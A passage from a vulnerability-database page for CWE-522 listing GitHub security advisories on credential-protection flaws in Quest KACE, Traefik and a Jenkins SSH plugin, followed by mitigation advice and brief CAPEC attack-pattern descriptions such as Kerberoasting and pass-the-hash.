  "modified": "2025-11-17T09:30:26Z",
  "published": "2025-11-17T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13164"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10504-23f4c-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10503-a66fe-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R39C-X95W-6GC8

Vulnerability from github – Published: 2022-08-03 00:00 – Updated: 2022-08-11 00:00
VLAI
Details

In Quest KACE Systems Management Appliance (SMA) through 12.0, a hash collision is possible during authentication. This may allow authentication with invalid credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-30285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-02T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Quest KACE Systems Management Appliance (SMA) through 12.0, a hash collision is possible during authentication. This may allow authentication with invalid credentials.",
  "id": "GHSA-r39c-x95w-6gc8",
  "modified": "2022-08-11T00:00:38Z",
  "published": "2022-08-03T00:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30285"
    },
    {
      "type": "WEB",
      "url": "https://support.quest.com/kace-systems-management-appliance/kb/338232/quest-response-to-kace-sma-vulnerabilities-cve-2022-30285"
    },
    {
      "type": "WEB",
      "url": "https://www.quest.com/kace"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R3FQ-CMMW-CPMM

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2023-08-24 13:02
VLAI
Summary
Containous Traefik Exposes Password Hashes
Details

types/types.go in Containous Traefik 1.7.x through 1.7.11, when the --api flag is used and the API is publicly reachable and exposed without sufficient access control (which is contrary to the API documentation), allows remote authenticated users to discover password hashes by reading the Basic HTTP Authentication or Digest HTTP Authentication section, or discover a key by reading the ClientTLS section. These can be found in the JSON response to a /api request.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.11"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-12452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-14T19:46:49Z",
    "nvd_published_at": "2019-05-29T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "types/types.go in Containous Traefik 1.7.x through 1.7.11, when the `--api` flag is used and the API is publicly reachable and exposed without sufficient access control (which is contrary to the API documentation), allows remote authenticated users to discover password hashes by reading the Basic HTTP Authentication or Digest HTTP Authentication section, or discover a key by reading the ClientTLS section. These can be found in the JSON response to a `/api` request.",
  "id": "GHSA-r3fq-cmmw-cpmm",
  "modified": "2023-08-24T13:02:38Z",
  "published": "2022-05-24T16:46:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containous/traefik/issues/4917"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containous/traefik/pull/4918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/a169fec2e08e391d24b509c00fcf011656c1395c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containous/traefik"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Containous Traefik Exposes Password Hashes"
}

GHSA-R3RR-WPH6-9638

Vulnerability from github – Published: 2022-01-13 00:00 – Updated: 2022-11-29 21:26
VLAI
Summary
Password stored in plain text by Jenkins Publish Over SSH Plugin
Details

Jenkins Publish Over SSH Plugin 1.22 and earlier stores password unencrypted in its global configuration file on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:publish-over-ssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-29T21:26:23Z",
    "nvd_published_at": "2022-01-12T20:15:00Z",
    "severity": "LOW"
  },
  "details": "Jenkins Publish Over SSH Plugin 1.22 and earlier stores password unencrypted in its global configuration file on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.",
  "id": "GHSA-r3rr-wph6-9638",
  "modified": "2022-11-29T21:26:23Z",
  "published": "2022-01-13T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/publish-over-ssh-plugin/commit/2b4b9b2dfab5c001669f9a74c0e6078b0a27b928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/publish-over-ssh-plugin/commit/70b7689bf6fc894f4dc6c0ff34dd72808840760e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/publish-over-ssh-plugin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/publish-over-ssh-plugin/releases/tag/publish-over-ssh-1.23"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-01-12/#SECURITY-2291"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/01/12/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Password stored in plain text by Jenkins Publish Over SSH Plugin"
}

Mitigation
Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Mitigation
Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Mitigation
Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

CAPEC-102: Session Sidejacking

Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.

CAPEC-474: Signature Spoofing by Key Theft

An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-560: Use of Known Domain Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-600: Credential Stuffing

An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.

CAPEC-644: Use of Captured Hashes (Pass The Hash)

An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.

CAPEC-645: Use of Captured Tickets (Pass The Ticket)

An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-653: Use of Known Operating System Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.